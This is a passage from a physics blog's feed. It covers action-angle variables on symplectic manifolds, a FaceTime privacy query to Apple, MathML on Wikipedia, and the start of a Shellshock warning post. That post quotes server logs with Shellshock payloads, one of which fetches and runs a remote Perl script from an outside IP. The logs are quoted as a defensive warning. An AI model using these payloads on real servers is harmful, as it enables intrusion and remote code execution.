  415. <p>Let <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mo stretchy="false">(</mo><mi>&#x02133;</mi><mo>,</mo><mi>&#x003C9;</mi><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>(\mathcal{M},\omega)</annotation></semantics></math> be a <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mn>2</mn><mi>n</mi></mrow><annotation encoding='application/x-tex'>2n</annotation></semantics></math>-dimensional symplectic manifold. Let us posit that <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x02133;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{M}</annotation></semantics></math> had a foliation by <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>n</mi></mrow><annotation encoding='application/x-tex'>n</annotation></semantics></math>-dimensional
  416. <em>Lagrangian</em> tori (a torus, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>T</mi><mo>&#x02282;</mo><mi>M</mi></mrow><annotation encoding='application/x-tex'>T\subset M</annotation></semantics></math>, is Lagrangian if <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x003C9;</mi><msub><mo stretchy="false">&#x0007C;</mo> <mi>T</mi></msub><mo>=</mo><mn>0</mn></mrow><annotation encoding='application/x-tex'>\omega|_T =0</annotation></semantics></math>). Removing a subset, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>S</mi><mo>&#x02282;</mo><mi>&#x02133;</mi></mrow><annotation encoding='application/x-tex'>S\subset \mathcal{M}</annotation></semantics></math>, of codimension <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>codim</mi><mo stretchy="false">(</mo><mi>S</mi><mo stretchy="false">)</mo><mo>&#x02265;</mo><mn>2</mn></mrow><annotation encoding='application/x-tex'>codim(S)\geq 2</annotation></semantics></math>, where the leaves are singular, we can assume that all of the leaves on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x02133;</mi><mo>&#x02032;</mo><mo>=</mo><mi>&#x02133;</mi><mo>&#x0005C;</mo><mi>S</mi></mrow><annotation encoding='application/x-tex'>\mathcal{M}&apos;=\mathcal{M}\backslash S</annotation></semantics></math> are
  417. <em>smooth</em> tori of dimension <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>n</mi></mrow><annotation encoding='application/x-tex'>n</annotation></semantics></math>.</p>
  418.  
  419. <p>The objective is to construct coordinates <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>&#x03C6;</mi> <mi>i</mi></msup><mo>,</mo><msub><mi>K</mi> <mi>i</mi></msub></mrow><annotation encoding='application/x-tex'>\varphi^i, K_i</annotation></semantics></math> with the following properties.</p>
  420.  
  421. <ol>
  422. <li>The <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>&#x03C6;</mi> <mi>i</mi></msup></mrow><annotation encoding='application/x-tex'>\varphi^i</annotation></semantics></math> restrict to angular coordinates on the tori. In particular <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>&#x03C6;</mi> <mi>i</mi></msup></mrow><annotation encoding='application/x-tex'>\varphi^i</annotation></semantics></math> shifts by <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mn>2</mn><mi>&#x003C0;</mi></mrow><annotation encoding='application/x-tex'>2\pi</annotation></semantics></math> when you go around the corresponding cycle on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>T</mi></mrow><annotation encoding='application/x-tex'>T</annotation></semantics></math>.</li>
  423. <li>The <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>K</mi> <mi>i</mi></msub></mrow><annotation encoding='application/x-tex'>K_i</annotation></semantics></math> are globally-defined functions on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x02133;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{M}</annotation></semantics></math> which are <em>constant</em> on each torus. </li>
  424. <li>The symplectic form <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x003C9;</mi><mo>=</mo><mi>d</mi><msub><mi>K</mi> <mi>i</mi></msub><mo>&#x02227;</mo><mi>d</mi><msup><mi>&#x03C6;</mi> <mi>i</mi></msup></mrow><annotation encoding='application/x-tex'>\omega= d K_i\wedge d \varphi^i</annotation></semantics></math>.</li>
  425. </ol>
  426.  
  427. <p>From 1, it&#8217;s clear that it&#8217;s more convenient to work with the 1-forms <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>d</mi><msup><mi>&#x03C6;</mi> <mi>i</mi></msup></mrow><annotation encoding='application/x-tex'>d\varphi^i</annotation></semantics></math>, which are single-valued (and closed, but not necessarily exact), rather than with the <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>&#x03C6;</mi> <mi>i</mi></msup></mrow><annotation encoding='application/x-tex'>\varphi^i</annotation></semantics></math> themselves. In 2, it&#8217;s rather important that the <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>K</mi> <mi>i</mi></msub></mrow><annotation encoding='application/x-tex'>K_i</annotation></semantics></math> are really
  428. <em>globally</em>-defined. In particular, an <em>integrable Hamiltonian</em> is a function <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>H</mi><mo stretchy="false">(</mo><mi>K</mi><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>H(K)</annotation></semantics></math>. The <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>K</mi> <mi>i</mi></msub></mrow><annotation encoding='application/x-tex'>K_i</annotation></semantics></math> are the <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>n</mi></mrow><annotation encoding='application/x-tex'>n</annotation></semantics></math> conserved quantities which make the Hamiltonian integrable.</p>
  429.  
  430. <p>Obviously, a given foliation is compatible with infinitely many &#8220;integrable Hamiltonians,&#8221; so the existence of a foliation is the more fundamental concept.</p>
  431.  
  432. <p>All of this is totally standard.</p>
  433.  
  434. <p>What never really occurred to me is that the standard construction of action-angle variables turns out to be very closely wedded to the particular case of a cotangent bundle,
  435. <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x02133;</mi><mo>=</mo><msup><mi>T</mi> <mo>*</mo></msup><mi>M</mi></mrow><annotation encoding='application/x-tex'>\mathcal{M}=T^*M</annotation></semantics></math>.</p>
  436.  
  437. <p>As far as I can tell, action-angle variables don&#8217;t even <em>exist</em> for foliations of more general symplectic manifolds, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x02133;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{M}</annotation></semantics></math>.</p>
  438.  
  439. <div><a href="http://golem.ph.utexas.edu/~distler/blog/mathml.html"><img class="mathlogo" src="https://golem.ph.utexas.edu/~distler/blog/images/MathML.png" alt="MathML-enabled post (click for more details)." title="MathML-enabled post (click for details)." /></a></div>
  440. Any contagent bundle, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>T</mi> <mo>*</mo></msup><mi>M</mi></mrow><annotation encoding='application/x-tex'>T^*M</annotation></semantics></math>, has a canonical 1-form, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x003B8;</mi></mrow><annotation encoding='application/x-tex'>\theta</annotation></semantics></math>, on it. The standard symplectic structure is <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x003C9;</mi><mo>=</mo><mi>d</mi><mi>&#x003B8;</mi></mrow><annotation encoding='application/x-tex'>\omega = d\theta</annotation></semantics></math>.
  441.  
  442. The construction of the action-variables requires that we choose a homology basis, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>&#x003B3;</mi> <mi>i</mi></msub></mrow><annotation encoding='application/x-tex'>\gamma_i</annotation></semantics></math>, for each torus, in a fashion that is locally-constant<sup><a href='#AAF1'>1</a></sup>, as we move between tori of the foliation. The <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>K</mi> <mi>i</mi></msub></mrow><annotation encoding='application/x-tex'>K_i</annotation></semantics></math> are then defined as
  443.  
  444.  
  445. <div class="numberedEq" id="e2823:Kdef"><span>(1)</span><math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msub><mi>K</mi> <mi>i</mi></msub><mo>=</mo><mfrac><mn>1</mn><mrow><mn>2</mn><mi>&#x003C0;</mi></mrow></mfrac><msub><mo>&#x0222B;</mo> <mrow><msub><mi>&#x003B3;</mi> <mi>i</mi></msub></mrow></msub><mi>&#x003B8;</mi></mrow><annotation encoding='application/x-tex'>K_i = \frac{1}{2\pi}\int_{\gamma_i} \theta
  446. </annotation></semantics></math></div>
  447.  
  448.  
  449. Note that, because the torus is Lagrangian, the values of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>K</mi> <mi>i</mi></msub></mrow><annotation encoding='application/x-tex'>K_i</annotation></semantics></math> are independent of the particular choices of path chosen to represent <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>&#x003B3;</mi> <mi>i</mi></msub></mrow><annotation encoding='application/x-tex'>\gamma_i</annotation></semantics></math>.
  450.  
  451. Having constructed the <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>K</mi> <mi>i</mi></msub></mrow><annotation encoding='application/x-tex'>K_i</annotation></semantics></math>, the closed 1-forms
  452.  
  453.  
  454. <div class="numberedEq" id="e2823:phidef"><span>(2)</span><math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mi>d</mi><msup><mi>&#x03C6;</mi> <mi>i</mi></msup><mo>=</mo><msub><mi>i</mi> <mrow><mo>&#x02202;</mo><mo stretchy="false">/</mo><mo>&#x02202;</mo><msub><mi>K</mi> <mi>i</mi></msub></mrow></msub><mi>&#x003C9;</mi></mrow><annotation encoding='application/x-tex'>d\varphi^i = i_{\partial/\partial K_i}\omega
  455. </annotation></semantics></math></div>
  456.  
  457.  
  458.  
  459. Great!
  460.  
  461. Except that, for a general symplectic manifold, there&#8217;s no analogue of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x003B8;</mi></mrow><annotation encoding='application/x-tex'>\theta</annotation></semantics></math>. In particular, it&#8217;s trivial to construct examples of symplectic manifolds, foliated by Lagrangian tori, for which no choice of action variables, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>K</mi> <mi>i</mi></msub></mrow><annotation encoding='application/x-tex'>K_i</annotation></semantics></math>, exist.
  462.  
  463. As a simple example, take
  464. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mo stretchy="false">(</mo><mi>&#x02133;</mi><mo>,</mo><mi>&#x003C9;</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><msup><mi>T</mi> <mn>4</mn></msup><mo>,</mo><mi>d</mi><msub><mi>&#x003B8;</mi> <mn>1</mn></msub><mo>&#x02227;</mo><mi>d</mi><msub><mi>&#x003B8;</mi> <mn>3</mn></msub><mo>+</mo><mi>d</mi><msub><mi>&#x003B8;</mi> <mn>2</mn></msub><mo>&#x02227;</mo><mi>d</mi><msub><mi>&#x003B8;</mi> <mn>4</mn></msub><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>
  465.  (\mathcal{M},\omega)= (T^4, d\theta_1\wedge d\theta_3 +d\theta_2\wedge d\theta_4)
  466. </annotation></semantics></math>
  467. Obviously, we can foliate this by Lagrangian tori (taking <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>T</mi></mrow><annotation encoding='application/x-tex'>T</annotation></semantics></math> to be the subsets <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mo stretchy="false">{</mo><msub><mi>&#x003B8;</mi> <mn>1</mn></msub><mo>,</mo><msub><mi>&#x003B8;</mi> <mn>2</mn></msub><mo>=</mo><mtext>const</mtext><mo stretchy="false">}</mo></mrow><annotation encoding='application/x-tex'>\{\theta_1, \theta_2=\text{const}\}</annotation></semantics></math>). But the corresponding action variables don&#8217;t exist. We&#8217;d happily choose <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>K</mi> <mi>i</mi></msub><mo>=</mo><msub><mi>&#x003B8;</mi> <mi>i</mi></msub></mrow><annotation encoding='application/x-tex'>K_i=\theta_i</annotation></semantics></math>, for <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>i</mi><mo>=</mo><mn>1</mn><mo>,</mo><mn>2</mn></mrow><annotation encoding='application/x-tex'>i=1,2</annotation></semantics></math>, but those aren&#8217;t single-valued functions on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x02133;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{M}</annotation></semantics></math>. You could try to use functions that are actually single-valued (e.g., <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>K</mi> <mi>i</mi></msub><mo>=</mo><mi>sin</mi><mo stretchy="false">(</mo><msub><mi>&#x003B8;</mi> <mi>i</mi></msub><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>K_i=\sin(\theta_i)</annotation></semantics></math>), but then the corresponding 1-forms, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>&#x003B7;</mi> <mi>i</mi></msup></mrow><annotation encoding='application/x-tex'>\eta^i</annotation></semantics></math>, in <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x003C9;</mi><mo>=</mo><msub><mi>dK</mi> <mi>i</mi></msub><mo>&#x02227;</mo><msup><mi>&#x003B7;</mi> <mi>i</mi></msup></mrow><annotation encoding='application/x-tex'>\omega = dK_i\wedge\eta^i</annotation></semantics></math>, don&#8217;t have <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mn>2</mn><mi>&#x003C0;</mi><mo>&#x000D7;</mo></mrow><annotation encoding='application/x-tex'>2\pi\times</annotation></semantics></math>integral periods (heck, they&#8217;re not even closed!).
  468.  
  469. <p>
  470. Surely, there&#8217;s some sort of cohomological characterization of when Action-Angle variables exist. The situation feels a lot like the characterization of when symplectomorphisms (vector fields that preserve the symplectic form) are actually
  471. <em>Hamiltonian</em> vector fields<sup><a href='#AAF2'>2</a></sup>.</p>
  472.  
  473. And, even when the obstruction vanishes, how do we generalize the construction (<a href="#e2823:Kdef">1</a>), (<a href="#e2823:phidef">2</a>) to more general symplectic manifolds?
  474.  
  475. <div id="AAU1" class="update"><h4>Update:</h4> Just to be clear, there are plenty of examples where you <em>can</em> construct action-angle variables for foliations of symplectic manifolds which are not cotangent bundles. An easy example is
  476. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mo stretchy="false">(</mo><mi>&#x02133;</mi><mo>,</mo><mi>&#x003C9;</mi><mo stretchy="false">)</mo><mo>=</mo><mrow><mo>(</mo><msup><mi>S</mi> <mn>2</mn></msup><mo>,</mo><mfrac><mrow><mi>r</mi><mi>dr</mi><mo>&#x02227;</mo><mi>d</mi><mi>&#x003B8;</mi></mrow><mrow><msup><mrow><mo stretchy="false">(</mo><mn>1</mn><mo>+</mo><msup><mi>r</mi> <mn>2</mn></msup><mo stretchy="false">)</mo></mrow> <mn>2</mn></msup></mrow></mfrac><mo>)</mo></mrow></mrow><annotation encoding='application/x-tex'>
  477. (\mathcal{M},\omega) = \left(S^2, \frac{r dr\wedge d\theta}{{(1+r^2)}^2}\right)
  478. </annotation></semantics></math>
  479. where <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mo stretchy="false">(</mo><mi>K</mi><mo>,</mo><mi>&#x03C6;</mi><mo stretchy="false">)</mo><mo>=</mo><mrow><mo>(</mo><mo lspace="verythinmathspace" rspace="0em">&#x02212;</mo><mfrac><mn>1</mn><mrow><mn>2</mn><mo stretchy="false">(</mo><mn>1</mn><mo>+</mo><msup><mi>r</mi> <mn>2</mn></msup><mo stretchy="false">)</mo></mrow></mfrac><mo>,</mo><mi>&#x003B8;</mi><mo>)</mo></mrow></mrow><annotation encoding='application/x-tex'>(K,\varphi)= \left(&#x2d;\frac{1}{2(1+r^2)},\theta\right)</annotation></semantics></math> are action-angle variables for the obvious foliation by circles. This example &#8220;works&#8221; because once you remove the singular leaves (at <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>r</mi><mo>=</mo><mn>0</mn><mo>,</mo><mn>&#x0221E;</mn></mrow><annotation encoding='application/x-tex'>r=0,\infty</annotation></semantics></math>), <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x003C9;</mi></mrow><annotation encoding='application/x-tex'>\omega</annotation></semantics></math> becomes cohomologically trivial on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x02133;</mi><mo>&#x02032;</mo></mrow><annotation encoding='application/x-tex'>\mathcal{M}&apos;</annotation></semantics></math> and we can then use the standard construction. <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mo stretchy="false">[</mo><mi>&#x003C9;</mi><mo stretchy="false">]</mo><mo>=</mo><mn>0</mn><mo>&#x02208;</mo><msup><mi>H</mi> <mn>2</mn></msup><mo stretchy="false">(</mo><mi>&#x02133;</mi><mo>&#x0005C;</mo><mi>S</mi><mo>,</mo><mi>&#x0211D;</mi><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>[\omega]=0\in H^2(\mathcal{M}\backslash S,\mathbb{R})</annotation></semantics></math> sounds like a sufficient condition for constructing action-angle variables. But is it necessary?</div>
  480. <hr/>
  481. <div id="AAF1" class="footnote"><p><sup>1</sup>I&#8217;m pretty sure we need them to be globally-constant over <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x02133;</mi><mo>&#x02032;</mo></mrow><annotation encoding='application/x-tex'>\mathcal{M}&apos;</annotation></semantics></math>. I&#8217;ll assume there&#8217;s no obstruction to doing that.</p></div>
  482. <div id="AAF2" class="footnote"><p><sup>2</sup>If you&#8217;re not familiar with that story, note that
  483. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msub><mi>&#x02112;</mi> <mi>X</mi></msub><mi>&#x003C9;</mi><mo>=</mo><mn>0</mn></mrow><annotation encoding='application/x-tex'>
  484. \mathcal{L}_X \omega = 0
  485. </annotation></semantics></math>
  486. is tantamount to the condition that <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>i</mi> <mi>X</mi></msub><mi>&#x003C9;</mi></mrow><annotation encoding='application/x-tex'>i_X\omega</annotation></semantics></math> is a closed 1-form. If it happens that it is an <em>exact</em> 1-form,
  487. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msub><mi>i</mi> <mi>X</mi></msub><mi>&#x003C9;</mi><mo>=</mo><mi>d</mi><mi>f</mi></mrow><annotation encoding='application/x-tex'>
  488.   i_X\omega = d f
  489. </annotation></semantics></math>
  490. then <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>X</mi><mo>=</mo><mo stretchy="false">{</mo><mi>f</mi><mo>,</mo><mo>&#x022C5;</mo><mo stretchy="false">}</mo></mrow><annotation encoding='application/x-tex'>X = \{f,\cdot\}</annotation></semantics></math> is a Hamiltonian vector field. The obstruction to writing <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>X</mi></mrow><annotation encoding='application/x-tex'>X</annotation></semantics></math> as a Hamiltonian vector field is, thus, the de Rham cohomology class, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mo stretchy="false">[</mo><msub><mi>i</mi> <mi>X</mi></msub><mi>&#x003C9;</mi><mo stretchy="false">]</mo><mo>&#x02208;</mo><msup><mi>H</mi> <mn>1</mn></msup><mo stretchy="false">(</mo><mi>&#x02133;</mi><mo>,</mo><mi>&#x0211D;</mi><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>[i_X\omega]\in H^1(\mathcal{M},\mathbb{R})</annotation></semantics></math>.
  491. </p>
  492. <p>In the example at hand, that&#8217;s exactly what is going on. Any single-valued function, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>H</mi><mo stretchy="false">(</mo><msub><mi>&#x003B8;</mi> <mn>1</mn></msub><mo>,</mo><msub><mi>&#x003B8;</mi> <mn>2</mn></msub><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>H(\theta_1,\theta_2)</annotation></semantics></math>, is an &#8220;integrable&#8221; Hamiltonian for the above foliation. But the symmetries, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>X</mi> <mn>1</mn></msub><mo>=</mo><mfrac><mo>&#x02202;</mo><mrow><mo>&#x02202;</mo><msub><mi>&#x003B8;</mi> <mn>3</mn></msub></mrow></mfrac></mrow><annotation encoding='application/x-tex'>X_1=\frac{\partial}{\partial\theta_3}</annotation></semantics></math> and <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>X</mi> <mn>2</mn></msub><mo>=</mo><mfrac><mo>&#x02202;</mo><mrow><mo>&#x02202;</mo><msub><mi>&#x003B8;</mi> <mn>4</mn></msub></mrow></mfrac></mrow><annotation encoding='application/x-tex'>X_2=\frac{\partial}{\partial\theta_4}</annotation></semantics></math> are <em>not</em> Hamiltonian vector fields. Hence, there are no corresponding conserved action variables.</p>
  493. </div>
  494.  
  495.      </div>
  496.    </content>
  497.  </entry>
  498.  <entry>
  499.    <title type="html">Smoke Signals, Morse Code or ... ?</title>
  500.    <link rel="alternate" type="application/xhtml+xml" href="https://golem.ph.utexas.edu/~distler/blog/archives/002793.html" />
  501.    <updated>2014-12-18T21:14:06Z</updated>
  502.    <published>2014-12-18T15:14:00-06:00</published>
  503.    <id>tag:golem.ph.utexas.edu,2014:%2F~distler%2Fblog%2F1.2793</id>
  504.    <summary type="text">A privacy issue fails to get a real response.</summary>
  505.    <author>
  506.      <name>distler</name>
  507.      <uri>https://golem.ph.utexas.edu/~distler/blog/</uri>
  508.      <email>[email protected]</email>
  509.    </author>
  510.    <category term="Computers" />
  511.    <content type="xhtml" xml:base="https://golem.ph.utexas.edu/~distler/blog/archives/002793.html">
  512.      <div xmlns="http://www.w3.org/1999/xhtml">
  513. <p>It seemed like a straightforward question. If you use Apple&#8217;s <code>Contacts.app</code> to store your contacts, you&#8217;ve surely noticed this behaviour: <em>some</em> of your contacts auto-magically sprout clickable links for <a href="https://www.apple.com/mac/facetime/">Facetime</a> video/audio chats, with no intervention on your part. I was curious enough to submit a query about it, via Apple&#8217;s Support Site:</p>
  514.  
  515. <blockquote>
  516.  <p>Contacts.app seems to know whether each of my contacts has registered their email for FaceTime, even if I have NEVER tried to facetime with them (or call their cell-phone or &#8230;). How does it do this? Are all of the email addresses in my addressbook automatically uploaded to Apple&#8217;s servers? If so, how do I turn this off, as it seems to be a MASSIVE invasion of my privacy.</p>
  517. </blockquote>
  518.  
  519. <p>That was a month and a half ago (2014/11/02). Today, I received a response:</p>
  520.  
  521. <blockquote>
  522.  <p>Dear Jacques, </p>
  523.  
  524. <p>Thank you for your recent email. </p>
  525.  
  526. <p>We sincerely understand your frustration and apologize for any inconvenience this has caused you. We understand you have questions and concerns about your contacts and FaceTime. Because of the nature and complexity of this issue, Apple does not offer this type of assistance or support through written correspondence. </p>
  527.  
  528. <p>For further assistance, please contact Apple Support. To locate your local Apple phone number, please visit:  </p>
  529.  
  530. <p>support.apple.com/kb/HE57</p>
  531.  
  532. <p>Thank you,
  533. Apple Customer Care</p>
  534. </blockquote>
  535.  
  536. <p>Can it really be that the explanation is too complex for &#8220;written correspondence&#8221;?  What other communication method would be more adequate?</p>
  537.  
  538. <p>Or maybe one of <em>you</em> know the answer. How <em>does</em> <code>Contacts.app</code> determine which of the email addresses in my addressbook have been registered for Facetime?</p>
  539.  
  540.      </div>
  541.    </content>
  542.  </entry>
  543.  <entry>
  544.    <title type="html">Wikipedia</title>
  545.    <link rel="alternate" type="application/xhtml+xml" href="https://golem.ph.utexas.edu/~distler/blog/archives/002776.html" />
  546.    <updated>2014-10-25T06:19:44Z</updated>
  547.    <published>2014-10-25T01:19:33-06:00</published>
  548.    <id>tag:golem.ph.utexas.edu,2014:%2F~distler%2Fblog%2F1.2776</id>
  549.    <summary type="text">MathML on Wikipedia</summary>
  550.    <author>
  551.      <name>distler</name>
  552.      <uri>https://golem.ph.utexas.edu/~distler/blog/</uri>
  553.      <email>[email protected]</email>
  554.    </author>
  555.    <category term="MathML" />
  556.    <content type="xhtml" xml:base="https://golem.ph.utexas.edu/~distler/blog/archives/002776.html">
  557.      <div xmlns="http://www.w3.org/1999/xhtml">
  558. <p>Wow! After a decade, Wikipedia finally rolls out <a href="http://lists.w3.org/Archives/Public/www-math/2014Oct/0002.html"><acronym title="Mathematical Markup Language">MathML</acronym> rendering</a>. Currently, only available (as an optional preference) to registered users. Hopefully, in a few more years, they&#8217;ll make it the default.</p>
  559.  
  560. <p>Some implementation details are available at <a href="http://www.maths-informatique-jeux.com/blog/frederic/?post/2014/10/24/A-quick-note-for-Mozillians-regarding-MathML-on-Wikipedia">Fr&#x000E9;d&#x000E9;ric&#8217;s blog</a>.</p>
  561.  
  562.  
  563.      </div>
  564.    </content>
  565.  </entry>
  566.  <entry>
  567.    <title type="html">Shellshock and MacOSX</title>
  568.    <link rel="alternate" type="application/xhtml+xml" href="https://golem.ph.utexas.edu/~distler/blog/archives/002770.html" />
  569.    <updated>2014-09-30T04:34:46Z</updated>
  570.    <published>2014-09-27T12:58:37-06:00</published>
  571.    <id>tag:golem.ph.utexas.edu,2014:%2F~distler%2Fblog%2F1.2770</id>
  572.    <summary type="text">Compiling a new Bash seems to be the only salvation</summary>
  573.    <author>
  574.      <name>distler</name>
  575.      <uri>https://golem.ph.utexas.edu/~distler/blog/</uri>
  576.      <email>[email protected]</email>
  577.    </author>
  578.    <category term="Computers" />
  579.    <content type="xhtml" xml:base="https://golem.ph.utexas.edu/~distler/blog/archives/002770.html">
  580.      <div xmlns="http://www.w3.org/1999/xhtml">
  581. <p>Most Linux Distros have released patches for the recently-discovered &#8220;Shellshock&#8221; bug in <code>/bin/bash</code>. Apple has not, despite the fact that it uses <code>bash</code> as the default system shell (<code>/bin/sh</code>).</p>
  582.  
  583. <p>If you are running a webserver, you are vulnerable. Even if you avoid the obvious pitfall of writing <abbr title="Common Gateway Interface">CGI</abbr> scripts as shellscripts, you are still vulnerable if one of your Perl (or <abbr title="Hypertext Preprocessor">PHP</abbr>) scripts calls out to <code>system()</code>. Even <a href="https://news.ycombinator.com/item?id=8369776">Phusion Passenger is vulnerable</a>. And, yes, this vulnerability <em>is</em> being actively exploited on the Web.</p>
  584.  
  585. <blockquote><pre><code>internetsurvey-3.erratasec.com - - [24/Sep/2014:20:35:04 -0500] "GET / HTTP/1.0" 301 402 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)" "-" - - -
  586. hosted-by.snel.com - - [25/Sep/2014:02:50:59 -0500] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 301 411 "-" "() { :;}; /bin/ping -c 1 198.101.206.138" "-" - - -
  587. census1.shodan.io - - [25/Sep/2014:18:55:31 -0500] "GET / HTTP/1.1" 301 379 "() { :; }; /bin/ping -c 1 104.131.0.69" "() { :; }; /bin/ping -c 1 104.131.0.69" "-" - - -
  588. ec2-54-251-83-67.ap-southeast-1.compute.amazonaws.com - - [25/Sep/2014:20:05:01 -0500] "GET / HTTP/1.1" 301 379 "-" "() { :;}; /bin/bash -c \"echo testing9123123\"; /bin/uname -a" "-" - - -
  589. 66.186.2.175 - - [26/Sep/2014:03:29:40 -0500] "GET /cgi-bin/php5 HTTP/1.0" 301 391 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - -
  590. 66.186.2.175 - - [26/Sep/2014:03:29:40 -0500] "GET /cgi-bin/php HTTP/1.0" 301 390 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - -
  591. 66.186.2.175 - - [26/Sep/2014:03:29:40 -0500] "GET /cgi-bin/php.fcgi HTTP/1.0" 301 395 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - -
  592. 66.186.2.175 - - [26/Sep/2014:03:29:40 -0500] "GET /cgi-bin/test.sh HTTP/1.0" 301 394 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\"" "-" - - -
